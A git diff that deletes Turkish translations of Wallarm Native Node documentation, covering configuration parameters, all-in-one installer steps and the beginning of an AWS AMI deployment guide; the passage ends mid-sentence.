`off`. OOB modunda trafik engelleme desteklenmez. - -Varsayılan: `monitoring`. - -### log.pretty - -Hata ve erişim günlükleri biçimini kontrol eder. İnsan tarafından okunabilir günlükler için `true`, JSON günlükler için `false` olarak ayarlayın. - -Varsayılan: `true`. - -### log.level - -Günlük seviyesi: `debug`, `info`, `warn`, `error`, `fatal` olabilir. - -Varsayılan: `info`. - -### log.log_file - -Hata günlüğü çıktısının hedefini belirtir. Seçenekler `stdout`, `stderr` veya bir günlük dosyasına giden bir yoldur. - -Varsayılan: `stderr`. Ancak, düğüm `stderr` çıktısını `/opt/wallarm/var/log/wallarm/go-node.log` dosyasına yönlendirir. - -### log.access_log.enabled - -Erişim günlüklerinin toplanıp toplanmayacağını kontrol eder. - -Varsayılan: `true`. - -### log.access_log.verbose - -Erişim günlüğü çıktısına her istek hakkında ayrıntılı bilgi eklenip eklenmeyeceğini kontrol eder. - -Varsayılan: `true`. - -### log.access_log.log_file - -Erişim günlüğü çıktısının hedefini belirtir. Seçenekler `stdout`, `stderr` veya bir günlük dosyasına giden bir yoldur. - -Varsayılan: `stderr`. Ancak, düğüm `stderr` çıktısını `/opt/wallarm/var/log/wallarm/go-node.log` dosyasına yönlendirir. - -Ayarlanmazsa, [`log.log_file`](#loglog_file) ayarı kullanılır. - -## Gelişmiş ayarlar - -=== "connector-server" - ```yaml - version: 4 - - input_filters: - inspect: - - path: "^/api/v[0-9]+/.*" - headers: - Authorization: "^Bearer .+" - bypass: - - path: ".*\\.(png|jpg|css|js|svg)$" - - headers: - accept: "text/html" - - http_inspector: - workers: auto - libdetection_enabled: true - api_firewall_enabled: true - api_firewall_database: /opt/wallarm/var/lib/wallarm-api/2/wallarm_api.db - wallarm_dir: /opt/wallarm/etc/wallarm - shm_dir: /tmp - wallarm_process_time_limit: 1s - - postanalytics_exporter: - address: 127.0.0.1:3313 - enabled: true - - log: - proton_log_mask: info@* - - metrics: - enabled: true - listen_address: :9000 - legacy_status: - enabled: true - listen_address: 127.0.0.1:10246 - namespace: wallarm_gonode - - health_check: - enabled: true - listen_address: :8080 - ``` -=== "tcp-capture" - ```yaml - version: 4 - - input_filters: - inspect: - - path: "^/api/v[0-9]+/.*" - headers: - Authorization: "^Bearer .+" - bypass: - - path: ".*\\.(png|jpg|css|js|svg)$" - - headers: - accept: "text/html" - - http_inspector: - workers: auto - libdetection_enabled: true - api_firewall_enabled: true - api_firewall_database: /opt/wallarm/var/lib/wallarm-api/2/wallarm_api.db - wallarm_dir: /opt/wallarm/etc/wallarm - shm_dir: /tmp - wallarm_process_time_limit: 1s - - postanalytics_exporter: - address: 127.0.0.1:3313 - enabled: true - - log: - proton_log_mask: info@* - - metrics: - enabled: true - listen_address: :9000 - legacy_status: - enabled: true - listen_address: 127.0.0.1:10246 - namespace: wallarm_gonode - - health_check: - enabled: true - listen_address: :8080 - ``` - -### input_filters - -Gelen isteklerin Native Node tarafından **denetlenip** denetlenmeyeceğini veya **atlanacağını** tanımlar. Bu, statik içerikler veya sağlık denetimleri gibi alakasız trafiği yok sayarak CPU kullanımını azaltır. - -Varsayılan olarak tüm istekler denetlenir. - -!!! warning "Denetimden atlanan istekler analiz edilmez veya Wallarm Cloud'a gönderilmez" - Sonuç olarak, atlanan istekler metriklerde, API Discovery'de, API oturumlarında, zafiyet tespitinde vb. görünmez. Wallarm özellikleri bunlara uygulanmaz. - -**Uyumluluk** - -* Native Node 0.13.7 ve üzeri 0.13.x sürümler -* Native Node 0.16.0 ve üzeri -* Henüz AWS AMI'de desteklenmiyor - -**Filtreleme mantığı** - -Filtreleme mantığı 2 listeye dayanır: - -* `inspect`: burada en az bir filtreyle eşleşen istekler denetlenir. - - Atlanır veya boş bırakılırsa, `bypass` tarafından hariç tutulmadıkça tüm istekler denetlenir. -* `bypass`: burada herhangi bir filtreyle eşleşen istekler, `inspect` ile eşleşseler bile asla denetlenmez. - -**Filtre biçimi** - -Her filtre şu ögeleri içerebilen bir nesnedir: - -* `path` veya `url`: istek yolunu eşleştirmek için regex (her ikisi de desteklenir ve eşdeğerdir). -* `headers`: başlık adlarını, değerlerini eşleştirmek için regex desenlerine eşleyen bir eşleme. - -Tüm düzenli ifadeler [RE2 sözdizimini](https://github.com/google/re2/wiki/Syntax) takip etmelidir. - -**Örnekler** - -=== "Token'a göre izin ver, statik içeriği atla" - Bu yapılandırma, yalnızca `Authorization` başlığında bir `Bearer` belirteci içeren sürümlü API uç noktalarına (örn. `/api/v1/...`) yapılan istekleri denetler. - - Görseller, betikler, stiller gibi statik dosyalara ve tarayıcı başlattığı HTML sayfa yüklemelerine yapılan istekler atlanır. - - ```yaml - input_filters: - inspect: - - path: "^/api/v[0-9]+/.*" - headers: - Authorization: "^Bearer .+" - bypass: - - path: ".*\\.(png|jpg|css|js|svg)$" - - headers: - accept: "text/html" - ``` -=== "Etki alanına göre izin ver, sağlık denetimlerini atla" - Bu yapılandırma yalnızca `Host: api.example.com` başlığına sahip istekleri denetler; diğer tüm istekleri atlar. - - `/healthz` uç noktasına yapılan istekler, denetlenecek host ile eşleşse bile her zaman atlanır. - - ```yaml - input_filters: - inspect: - - headers: - host: "^api\\.example\\.com$" - bypass: - - path: "^/healthz$" - ``` - -### http_inspector.workers - -Wallarm işçi (worker) sayısı. - -Varsayılan: `auto`, yani işçi sayısı CPU çekirdek sayısına ayarlanır. - -### http_inspector.libdetection_enabled - -[libdetection](../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors) kütüphanesi kullanılarak SQL Injection saldırılarının ek olarak doğrulanıp doğrulanmayacağı. - -Varsayılan: `true`. - -### http_inspector.api_firewall_enabled - -[API Specification Enforcement](../../api-specification-enforcement/overview.md)'ın etkin olup olmayacağını kontrol eder. Lütfen bu özelliğin etkinleştirilmesinin, Wallarm Console UI üzerinden gereken abonelik ve yapılandırmanın yerine geçmediğini unutmayın. - -Varsayılan: `true`. - -### http_inspector.api_firewall_database - -[API Specification Enforcement](../../api-specification-enforcement/overview.md) için yüklediğiniz API spesifikasyonlarını içeren veritabanının yolunu belirtir. Bu veritabanı Wallarm Cloud ile senkronize edilir. - -Genellikle, bu parametreyi değiştirmenize gerek yoktur. - -Varsayılan: `/opt/wallarm/var/lib/wallarm-api/2/wallarm_api.db`. - -### http_inspector.wallarm_dir - -Düğüm yapılandırma dosyaları için dizin yolunu belirtir. Genellikle, bu parametreyi değiştirmenize gerek yoktur. Yardıma ihtiyaç duyarsanız, lütfen [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçin. - -Varsayılan: `/opt/wallarm/etc/wallarm`. - -### http_inspector.shm_dir - -HTTP analizörü için paylaşılan dizin. Genellikle, bu parametreyi değiştirmenize gerek yoktur. - -Varsayılan: `/tmp`. - -### http_inspector.wallarm_process_time_limit - -Wallarm Native Node tarafından tek bir HTTP isteğinin işlenmesi için azami süreyi tanımlar. - -Sınır aşıldığında, istek bir [`overlimit_res`](../../attacks-vulns-list.md#resource-overlimit) saldırısı olarak işaretlenir ve engellenir. - -Sınırı bu parametreyle veya [Wallarm Console](../../user-guides/rules/configure-overlimit-res-detection.md) üzerinden yapılandırabilirsiniz; bu ayrıca bu tür isteklerin engellenip engellenmeyeceğini de kontrol eder. Wallarm Console ayarları yerel yapılandırmaları geçersiz kılar. - -### postanalytics_exporter.address - -Wallarm'ın istek işleme sürecindeki istatistiksel istek analizini gerçekleştiren postanalytics servisinin adresini ayarlar. Genellikle, bu parametreyi değiştirmenize gerek yoktur. - -Varsayılan: `127.0.0.1:3313`. - -Node sürümü 0.12.1 ve öncesinde, bu parametre `tarantool_exporter.address` olarak ayarlanır. - -### postanalytics_exporter.enabled - -Postanalytics servisinin etkin olup olmayacağını kontrol eder. Wallarm düğümü postanalytics servisi olmadan çalışmadığı için bu parametrenin `true` olarak ayarlanması gerekir. - -Varsayılan: `true`. - -Node sürümü 0.12.1 ve öncesinde, bu parametre `tarantool_exporter.enabled` olarak ayarlanır. - -### log.proton_log_mask - -Dahili trafik günlüğü maskesi. Genellikle, bu parametreyi değiştirmenize gerek yoktur. - -Varsayılan: `info@*`. - -### metrics.enabled - -[Prometheus metriklerinin](../../admin-en/configure-statistics-service.md#usage) etkinleştirilip etkinleştirilmeyeceğini kontrol eder. Bu parametrenin `true` olarak ayarlanması gerekir; aksi halde Wallarm düğümü düzgün çalışmaz. - -Varsayılan: `true`. - -### metrics.listen_address - -Prometheus metriklerinin sunulacağı adres ve portu ayarlar. Bu metriklere `/metrics` uç noktası üzerinden erişebilirsiniz. - -Varsayılan: `:9000` (9000 portundaki tüm ağ arayüzleri). - -### metrics.legacy_status.enabled - -[`/wallarm-status`](../../admin-en/configure-statistics-service.md#usage) metrik servisinin etkinleştirilip etkinleştirilmeyeceğini kontrol eder. Bu parametrenin `true` olarak ayarlanması gerekir; aksi halde Wallarm düğümü düzgün çalışmaz. - -Varsayılan: `true`. - -### metrics.legacy_status.listen_address - -JSON formatında `/wallarm-status` metriklerinin sunulacağı adres ve portu ayarlar. Bu metriklere `/wallarm-status` uç noktası üzerinden erişebilirsiniz. - -Varsayılan: `127.0.0.1:10246`. - -### metrics.namespace - -Native Node'un çekirdek işleme servisi olan `go-node` tarafından sunulan Prometheus metrikleri için öneki tanımlar. - -Varsayılan: `wallarm_gonode`. - -`go-node` tarafından yayılan tüm metrikler bu öneki kullanır (örn. `wallarm_gonode_requests_total`). `wstore` ve `wcli` gibi düğümün diğer bileşenleri kendi sabit öneklerini kullanır. - -Native Node 0.13.5 ve sonraki 0.13.x sürümlerinde ve 0.15.1 ve sonrasında desteklenir. - -### health_check.enabled - -Sağlık denetimi uç noktalarının etkinleştirilip etkinleştirilmeyeceğini kontrol eder. - -Varsayılan: `true`. - -### health_check.listen_address - -`/live` ve `/ready` sağlık denetimi uç noktaları için adres ve portu ayarlar. - -Varsayılan: `:8080` (8080 portundaki tüm ağ arayüzleri). diff --git a/docs/latest-tr/installation/native-node/all-in-one.md b/docs/latest-tr/installation/native-node/all-in-one.md deleted file mode 100644 index c5315c73f7..0000000000 --- a/docs/latest-tr/installation/native-node/all-in-one.md +++ /dev/null @@ -1,288 +0,0 @@ -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md - -# All-in-One Yükleyici ile Native Node’u Dağıtma - -[Wallarm Native Node](../nginx-native-node-internals.md), NGINX’ten bağımsız çalışır, Wallarm bağlayıcılarının self-hosted dağıtımı ve TCP trafik yansıtma analizine yönelik tasarlanmıştır. Native Node’u, all-in-one yükleyici kullanarak Linux işletim sistemine sahip bir sanal makinede çalıştırabilirsiniz. - -## Kullanım durumları ve dağıtım modları - -* MuleSoft [Mule](../connectors/mulesoft.md) veya [Flex](../connectors/mulesoft-flex.md) Gateway, [Akamai](../connectors/akamai-edgeworkers.md), [Cloudflare](../connectors/cloudflare.md), [Amazon CloudFront](../connectors/aws-lambda.md), [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md), [Fastly](../connectors/fastly.md), [IBM DataPower](../connectors/ibm-api-connect.md) için bir bağlayıcı çözümün parçası olarak Wallarm düğümünü self-hosted Linux OS makinesine dağıtmak istediğinizde. - - Yükleyiciyi `connector-server` modunda kullanın. -* [TCP trafik yansıtma analizi](../oob/tcp-traffic-mirror/deployment.md) için bir güvenlik çözümüne ihtiyaç duyduğunuzda. - - Yükleyiciyi `tcp-capture` modunda kullanın. -* Istio tarafından yönetilen API’ler için [gRPC tabanlı harici işleme filtresine](../connectors/istio.md) ihtiyaç duyduğunuzda. - - Yükleyiciyi `envoy-external-filter` modunda kullanın. - -## Gereksinimler - -All-in-one yükleyici ile Native Node’u çalıştırmak için kullanılan makine aşağıdaki kriterleri karşılamalıdır: - -* Linux işletim sistemi. -* x86_64/ARM64 mimarisi. -* Tüm komutların yetkili kullanıcı olarak çalıştırılması (ör. `root`). -* Şu adreslere giden bağlantı: - - * Wallarm yükleyicisini indirmek için `https://meganode.wallarm.com` - * US/EU Wallarm Cloud için `https://us1.api.wallarm.com` veya `https://api.wallarm.com` - * Saldırı tespit kurallarının ve [API spesifikasyonlarının][api-spec-enforcement-docs] güncellemelerini indirmek ve [allowlisted, denylisted veya graylisted][ip-list-docs] ülkelerinizin, bölgelerinizin veya veri merkezlerinizin kesin IP’lerini almak için aşağıdaki IP adresleri - - --8<-- "../include/wallarm-cloud-ips.md" -* Düğüm `connector-server` veya `envoy_external_filter` modunda çalıştırıldığında, makinenin alan adı için bir **güvenilir** SSL/TLS sertifikası çıkartılmalı ve özel anahtarıyla birlikte makineye yüklenmelidir. -* Düğüm `tcp-capture` modunda çalıştırıldığında: - - * Trafik ve yanıt yansıtma, hem kaynak hem hedef ayarlanarak yapılandırılmalı ve hazırlanan örnek yansıtma hedefi olarak seçilmelidir. Trafik yansıtma yapılandırmaları için belirli protokollere izin verilmesi gibi özel ortam gereksinimleri karşılanmalıdır. - * Yansıtılan trafik VLAN (802.1q), VXLAN veya SPAN ile etiketlenmelidir. -* Bunlara ek olarak, Wallarm Console’da **Administrator** rolüne sahip olmalısınız. - -## Sınırlamalar - -* All-in-one yükleyici `connector-server` veya `envoy_external_filter` modunda kullanıldığında, makinenin alan adı için **güvenilir** bir SSL/TLS sertifikası gereklidir. Self-signed sertifikalar henüz desteklenmemektedir. -* [Özel engelleme sayfası ve engelleme kodu](../../admin-en/configuration-guides/configure-block-page-and-code.md) yapılandırmaları henüz desteklenmemektedir. -* Wallarm kuralı ile [oransal sınırlama (rate limiting)](../../user-guides/rules/rate-limiting.md) desteklenmemektedir. -* [Multitenancy](../multi-tenant/overview.md) henüz desteklenmemektedir. - -## Kurulum - -### 1. Wallarm token’ını hazırlayın - -Düğümü Wallarm Cloud’da kaydetmek için bir token’a ihtiyacınız olacak. Token’ı hazırlamak için: - -1. Wallarm Console → **Settings** → **API tokens**’ı [ABD Bulutu](https://us1.my.wallarm.com/settings/api-tokens) veya [AB Bulutu](https://my.wallarm.com/settings/api-tokens) üzerinde açın. -1. `Node deployment/Deployment` kullanım türüne sahip bir API token’ı bulun veya oluşturun. -1. Bu token’ı kopyalayın. - -### 2. Wallarm yükleyicisini indirin - -Wallarm kurulum betiğini indirin ve çalıştırılabilir yapın: - -=== "x86_64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.x86_64.sh - chmod +x aio-native-0.17.1.x86_64.sh - ``` -=== "ARM64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.aarch64.sh - chmod +x aio-native-0.17.1.aarch64.sh - ``` - -### 3. Yapılandırma dosyasını hazırlayın - -Makinede aşağıdaki asgari yapılandırma ile `wallarm-node-conf.yaml` dosyasını oluşturun: - -=== "connector-server" - ```yaml - version: 4 - - mode: connector-server - - connector: - address: ":5050" - tls_cert: path/to/tls-cert.crt - tls_key: path/to/tls-key.key - ``` - - `connector.tls_cert` ve `connector.tls_key` alanlarında, makinenin alan adı için çıkarılmış **güvenilir** sertifika ve özel anahtarın yollarını belirtirsiniz. -=== "tcp-capture" - ```yaml - version: 4 - - mode: tcp-capture - - goreplay: - filter: 'enp7s0:' - extra_args: - - -input-raw-engine - - vxlan - ``` - - `goreplay.filter` parametresinde, trafğin yakalanacağı ağ arayüzünü belirtirsiniz. Ana makinede mevcut ağ arayüzlerini kontrol etmek için: - - ``` - ip addr show - ``` -=== "envoy-external-filter" - ```yaml - version: 4 - - mode: envoy-external-filter - - envoy_external_filter: - address: ":5080" - tls_cert: "/path/to/cert.crt" - tls_key: "/path/to/cert.key" - ``` - - `envoy_external_filter.tls_cert` ve `envoy_external_filter.tls_key` alanlarında, makinenin alan adı için çıkarılmış **güvenilir** sertifika ve özel anahtarın yollarını belirtirsiniz. - -[Tüm yapılandırma parametreleri](all-in-one-conf.md) - -### 4. Yükleyiciyi çalıştırın - -=== "connector-server" - x86_64 yükleyici sürümü için: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com - ``` - - ARM64 yükleyici sürümü için: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com - ``` -=== "tcp-capture" - x86_64 yükleyici sürümü için: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - - ARM64 yükleyici sürümü için: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` -=== "envoy-external-filter" - x86_64 yükleyici sürümü için: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host us1.api.wallarm.com - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host api.wallarm.com - ``` - - ARM64 yükleyici sürümü için: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host us1.api.wallarm.com - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host api.wallarm.com - ``` - -* `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI’da düğümlerin mantıksal gruplaması için kullanılır). -* ``, `Node deployment/Deployment` kullanım türüne sahip oluşturulmuş API token’ını belirtir. -* ``, önceden hazırlanan yapılandırma dosyasının yolunu belirtir. - -Sağlanan yapılandırma dosyası şu yola kopyalanacaktır: `/opt/wallarm/etc/wallarm/go-node.yaml`. - -Gerekirse, kurulum tamamlandıktan sonra kopyalanan dosyayı değiştirebilirsiniz. Değişiklikleri uygulamak için `sudo systemctl restart wallarm` komutu ile Wallarm servisinin yeniden başlatılması gerekir. - -### 5. Kurulumu tamamlayın - -=== "connector-server" - Düğümü dağıttıktan sonra, trafiği dağıtılan düğüme yönlendirmek amacıyla API yönetim platformunuza veya servisinize Wallarm kodunu uygulamak bir sonraki adımdır. - - 1. Bağlayıcınız için Wallarm kod paketini almak üzere sales@wallarm.com ile iletişime geçin. - 1. Paketi API yönetim platformunuza uygulamak için platforma özel talimatları izleyin: - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [MuleSoft Flex Gateway](../connectors/mulesoft-flex.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [Akamai](../connectors/akamai-edgeworkers.md#2-obtain-the-wallarm-code-bundle-and-create-edgeworkers) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Amazon CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md#2-add-the-nodes-ssltls-certificate-to-the-policy-manager) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) - * [IBM DataPower](../connectors/ibm-api-connect.md#2-obtain-and-apply-the-wallarm-policies-to-apis-in-ibm-api-connect) -=== "tcp-capture" - [Dağıtım testine geçin](../oob/tcp-traffic-mirror/deployment.md#step-5-test-the-solution). -=== "envoy-external-filter" - Düğümü dağıttıktan sonra, bir sonraki adım [trafiği düğüme iletmek için Envoy ayarlarını güncellemektir](../connectors/istio.md#2-configure-envoy-to-proxy-traffic-to-the-wallarm-node). - -## Düğümün çalışmasını doğrulama - -Düğümün trafiği algıladığını doğrulamak için logları kontrol edebilirsiniz: - -* Native Node logları varsayılan olarak `/opt/wallarm/var/log/wallarm/go-node.log` dosyasına yazılır. -* Verilerin Wallarm Cloud’a gönderilip gönderilmediği, algılanan saldırılar vb. gibi filtreleme düğümünün [standart logları](../../admin-en/configure-logging.md) `/opt/wallarm/var/log/wallarm` dizininde bulunur. -* Ek hata ayıklama için, [`log.level`](all-in-one-conf.md#loglevel) parametresini `debug` olarak ayarlayın. - -Ayrıca, `http://:9000/metrics` adresinde sunulan [Prometheus metriklerini](../../admin-en/native-node-metrics.md) kontrol ederek de Düğümün çalışmasını doğrulayabilirsiniz. - -## Yükleyici başlatma seçenekleri - -* All-in-one betiği indirildiği anda, betik hakkında **yardım** almak için: - - === "x86_64 sürümü" - ``` - sudo ./aio-native-0.17.1.x86_64.sh -- --help - ``` - === "ARM64 sürümü" - ``` - sudo ./aio-native-0.17.1.aarch64.sh -- --help - ``` -* Yükleyiciyi **etkileşimli** modda da çalıştırabilir ve ilk adımda gerekli modu seçebilirsiniz: - - === "x86_64 sürümü" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh - ``` - === "ARM64 sürümü" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh - ``` -* Düğümü yalnızca API Discovery modunda kullanabilirsiniz (sürüm 0.12.1’den itibaren mevcuttur). Bu modda, Düğümün yerleşik mekanizmalarıyla tespit edilen ve ek yapılandırma gerektiren (örn. kimlik bilgisi doldurma, API spesifikasyonu ihlal girişimleri ve denylisted ile graylisted IP’lerden gelen kötü amaçlı etkinlik) saldırılar tespit edilir ve yerelde engellenir (etkinleştirilmişse), ancak Wallarm Cloud’a aktarılmaz. Cloud’da saldırı verisi bulunmadığından [Threat Replay Testing](../../vulnerability-detection/threat-replay-testing/overview.md) çalışmaz. Whitelist’teki IP’lerden gelen trafik ise izinlidir. - - Bu arada, [API Keşfi](../../api-discovery/overview.md), [API oturum takibi](../../api-sessions/overview.md) ve [güvenlik açığı tespiti](../../about-wallarm/detecting-vulnerabilities.md) tamamen işlevsel olmaya devam eder, ilgili güvenlik varlıklarını tespit eder ve görselleştirme için Cloud’a yükler. - - Bu mod, önce API envanterlerini gözden geçirmek ve hassas verileri belirlemek, ardından kontrollü saldırı verisi aktarımı planlamak isteyenler içindir. Ancak, saldırı aktarımını devre dışı bırakmak nadirdir; zira Wallarm saldırı verilerini güvenli bir şekilde işler ve gerekirse [hassas saldırı verisi maskelemesi](../../user-guides/rules/sensitive-data-rule.md) sağlar. - - API Discovery-only modunu etkinleştirmek için: - - 1. `/etc/wallarm-override/env.list` dosyasını oluşturun veya değiştirin: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - Aşağıdaki değişkeni ekleyin: - - ``` - WALLARM_APID_ONLY=true - ``` - - 1. [Düğüm kurulum prosedürünü](#installation) izleyin. - - API Discovery-only modu etkinleştirildiğinde, `/opt/wallarm/var/log/wallarm/wcli-out.log` logu aşağıdaki mesajı döndürür: - - ```json - {"level":"info","component":"reqexp","time":"2025-01-31T11:59:38Z","message":"requests export skipped (disabled)"} - ``` - -## Yükseltme ve yeniden kurulum - -* Düğümü yükseltmek için [talimatları](../../updating-migrating/native-node/all-in-one.md) izleyin. -* Yükseltme veya yeniden kurulum sürecinde bir sorun varsa: - - 1. Mevcut kurulumu kaldırın: - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` - - 1. Yukarıdaki kurulum adımlarını izleyerek düğümü normal şekilde kurun. \ No newline at end of file diff --git a/docs/latest-tr/installation/native-node/aws-ami.md b/docs/latest-tr/installation/native-node/aws-ami.md deleted file mode 100644 index f9ed15ec41..0000000000 --- a/docs/latest-tr/installation/native-node/aws-ami.md +++ /dev/null @@ -1,245 +0,0 @@ -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md - -# AWS AMI ile Native Node Dağıtımı - -[NGINX’ten bağımsız çalışan Wallarm Native Node](../nginx-native-node-internals.md), Wallarm connector’ının self-hosted dağıtımı ve TCP trafik yansıtma analizine yönelik tasarlanmıştır. Native Node’u [AWS AMI](https://aws.amazon.com/marketplace/pp/prodview-3d5ne4ruxm6j6) kullanarak bir AWS instance’ında çalıştırabilirsiniz. - -AMI, Debian 12 tabanlıdır ve all-in-one installer’ı içerir. Bu installer, Node’u dağıtmak ve yapılandırmak için kullanılan Wallarm betiğidir. AMI’den bir instance başlattıktan sonra kurulumu tamamlamak için bu betiği çalıştıracaksınız. - -AMI’den AWS üzerinde Wallarm Node dağıtımı genellikle yaklaşık 10 dakika sürer. - -!!! info "Güvenlik notu" - Bu çözüm, AWS güvenlik en iyi uygulamalarını takip edecek şekilde tasarlanmıştır. Dağıtım için AWS root hesabını kullanmaktan kaçınmanızı öneririz. Bunun yerine, yalnızca gerekli izinlere sahip IAM kullanıcıları veya rollerini kullanın. - - Dağıtım süreci en az ayrıcalık ilkesini varsayar ve Wallarm bileşenlerini sağlamak ve çalıştırmak için gereken minimum erişimi verir. - -Bu dağıtım için AWS altyapı maliyetlerini tahmin etmeye yönelik rehber için [AWS’de Wallarm Dağıtımı için Maliyet Rehberi](../cloud-platforms/aws/costs.md) sayfasına bakın. - -## Kullanım senaryoları ve dağıtım modları - -* AWS üzerinde MuleSoft [Mule](../connectors/mulesoft.md) Gateway, [Cloudflare](../connectors/cloudflare.md), [Amazon CloudFront](../connectors/aws-lambda.md), [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md), [Fastly](../connectors/fastly.md) için bir connector çözümünün parçası olarak bir Wallarm node dağıtırken. - - Görüntüyü `connector-server` modunda çalıştırın. -* [TCP trafik yansıtma analizi](../oob/tcp-traffic-mirror/deployment.md) için bir güvenlik çözümüne ihtiyaç duyduğunuzda ve altyapınız AWS üzerinde olduğunda. - - Görüntüyü `tcp-capture` modunda çalıştırın. - - !!! info "`tcp-capture` modunun sınırlamaları" - * Çözüm yalnızca ham TCP üzerinden şifrelenmemiş HTTP trafiğini analiz eder, şifrelenmiş HTTPS trafiğini analiz etmez. - * Çözüm henüz HTTP keep-alive bağlantıları üzerinden gelen yanıtlara ait ayrıştırmayı desteklemez. - -## Gereksinimler - -* Bir AWS hesabı -* AWS EC2, Security Groups hakkında bilgi -* İstediğiniz herhangi bir AWS bölgesi; Wallarm node dağıtımı için bölgeye özel bir kısıtlama yoktur - - Wallarm, tek availability zone (AZ) ve çoklu availability zone dağıtımlarını destekler. Çoklu-AZ kurulumlarında, Wallarm Node’lar ayrı availability zone’larda başlatılabilir ve yüksek erişilebilirlik için bir Load Balancer arkasına yerleştirilebilir. -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’da **Administrator** rolüne sahip hesaba erişim -* Tüm komutların Wallarm EC2 instance’ında süper kullanıcı (ör. `root`) olarak yürütülmesi -* `connector-server` modunda çalıştırırken, makinenin etki alanı için **güvenilir** bir SSL/TLS sertifikası düzenlenmeli ve özel anahtarla birlikte makineye yüklenmelidir -* `tcp-capture` modunda çalıştırırken: - - * Trafik ve yanıt yansıtma hem kaynak hem de hedef ile yapılandırılmalı ve hazırlanan instance yansıtma hedefi olarak seçilmelidir. Trafik yansıtma yapılandırmaları için belirli protokollere izin verilmesi gibi belirli ortam gereksinimleri karşılanmalıdır. - * Yansıtılan trafik VLAN (802.1q), VXLAN veya SPAN ile etiketlenmelidir. - * Ham TCP üzerinden şifrelenmemiş HTTP trafiği, şifrelenmiş HTTPS trafiği değil. - -## Sınırlamalar - -* Node’u `connector-server` modunda kullanırken, makinenin etki alanı için **güvenilir** bir SSL/TLS sertifikası gereklidir. Kendi imzaladığınız sertifikalar henüz desteklenmemektedir. -* [Özel engelleme sayfası ve engelleme kodu](../../admin-en/configuration-guides/configure-block-page-and-code.md) yapılandırmaları henüz desteklenmemektedir. -* Wallarm kuralı ile [rate limiting](../../user-guides/rules/rate-limiting.md) desteklenmez. -* [Multitenancy](../multi-tenant/overview.md) henüz desteklenmemektedir. - - -## Kurulum - -### 1. Bir Wallarm Node instance’ı başlatın - -[Wallarm Native Node AMI](https://aws.amazon.com/marketplace/pp/prodview-3d5ne4ruxm6j6) kullanarak bir EC2 instance’ı başlatın. - -Önerilen yapılandırma: - -* En son mevcut [AMI sürümü](../../updating-migrating/native-node/node-artifact-versions.md#amazon-machine-image-ami) -* Herhangi bir tercih edilen AWS bölgesi -* EC2 instance türü: `t3.medium` veya `t3.large`, [ayrıntılar için maliyet rehberine bakın](../cloud-platforms/aws/costs.md) -* Altyapınıza bağlı olarak uygun [VPC ve alt ağ](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html) -* [Security Group](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-security-groups.html) inbound erişimi, [Node yapılandırmasında](#5-prepare-the-configuration-file) tanımlanan porta -* [Security Group](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-security-groups.html) outbound erişimi: - - * Wallarm installer’ını indirmek için `https://meganode.wallarm.com` - * US/EU Wallarm Cloud için 